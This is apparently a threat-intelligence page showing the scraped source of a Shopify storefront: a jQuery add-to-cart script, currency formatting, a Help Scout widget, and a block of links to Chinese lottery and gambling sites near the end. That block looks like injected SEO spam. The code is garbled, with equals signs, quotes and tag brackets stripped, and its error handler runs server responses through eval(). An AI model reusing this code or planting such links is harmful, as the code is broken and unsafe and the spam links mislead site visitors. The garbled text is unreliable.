($(namecurrencies).length()) { newCurrency $(namecurrencies).val(); } else if ($(#currencies span.selected).length()) { newCurrency $(#currencies span.selected).attr(data-currency); } if (newCurrency) { $(_config.cartTotalSelector).html(span classmoney> + Shopify.formatMoney(Currency.convert(cart.total_price, USD, newCurrency), Currency.money_formatnewCurrency) + /span>); } else { $(_config.cartTotalSelector).html(Shopify.formatMoney(cart.total_price, ${{amount}})); } } else { $(_config.cartTotalSelector).html(Shopify.formatMoney(cart.total_price, ${{amount}})); } }; }); }, error: function(XMLHttpRequest) { var response eval(( + XMLHttpRequest.responseText + )); response response.description; if (response.slice(0,4) All ) { _showFeedback(error, response.replace(All 1 , All ), $addToCartForm); $addToCartBtn.prop(disabled, false); _setText($addToCartBtn, _config.soldOutBtnLabel); $addToCartBtn.prop(disabled,true); } else { _showFeedback(error, i classfa fa-warning>/i> + response, $addToCartForm); $addToCartBtn.prop(disabled, false).removeClass(disabled); _setText($addToCartBtn, _config.addToCartBtnLabel); } } }); return false; }); }); }; return { init: function(params) { // Configuration params params || {}; // Merging with defaults. $.extend(_config, params); // Action $(function() { _init(); }); }, getConfig: function() { return _config; } } })(jQuery);Shopify.AjaxifyCart.init(); }/script>link hrefimages/font-awesome.css relstylesheet typetext/css mediaall />style>.ajaxified-cart-feedback { display: block; line-height: 36px; font-size: 90%; vertical-align: middle;}.ajaxified-cart-feedback.success { color: #3D9970;}.ajaxified-cart-feedback.error { color: #FF4136; } .ajaxified-cart-feedback a { border-bottom: 1px solid;}/style> div aligncenter>友情链接:a target_blank hrefhttp://814146.com/ >168极速赛车官方网站/a>a target_blank hrefhttp://disizm.com/ >168极速赛车在线开奖官方网站/a>a target_blank hrefhttp://huiwenedn.com/index.html >幸运飞艇168官方开奖网/a>a target_blank hrefhttp://bishbashbush.com/ >澳洲幸运5分彩开奖记录/a>a target_blank hrefhttp://www.wjwo2cq.top/ >香港6合彩开奖结果/a>a target_blank hrefhttp://www.azxykj.com/ >澳洲幸运10官网开奖历史/a>a target_blank hrefhttp://www.ixyft8.buzz/ >澳洲幸运10官网/a>/div> /body> script typetext/javascript>!function(e,t,n){function a(){var et.getElementsByTagName(script)0,nt.createElement(script);n.typetext/javascript,n.async!0,n.srchttps://beacon-v2.helpscout.net/,e.parentNode.insertBefore(n,e)}if(e.Beaconnfunction(t,n,a){e.Beacon.readyQueue.push({method:t,options:n,data:a})},n.readyQueue,completet.readyState)return a();e.attachEvent?e.attachEvent(onload,a):e.addEventListener(load,a,!1)}(window,document,window.Beacon||function(){});/script> script typetext/javascript> window.Beacon(init, 1aa2e21e-6a40-43a9-94f1-24b120f6650e); window.Beacon(config, { display: { style: icon, iconImage: https://cdn.shopify.com/s/files/1/3099/8088/t/24/assets/sad.svg?v1629129288, } }); /* var isOpen false; var openBeaconIcon document.getElementById(open-beacon-icon); var closeBeaconIcon document.getElementById(close-beacon-icon); function launchBeacon(){ window.Beacon(toggle); isOpen !isOpen; if(isOpen) { closeBeaconIcon.style.display block; openBeaconIcon.style.display none; } else { closeBeaconIcon.style.display none; openBeaconIcon.style.display block; } } */ /script> /html>style> .z-intl #zonos { display: none;}/style>
View on OTX
|
View on ThreatMiner
Please enable JavaScript to view the
comments powered by Disqus.
Data with thanks to
AlienVault OTX
,
VirusTotal
,
Malwr
and
others
. [
Sitemap
]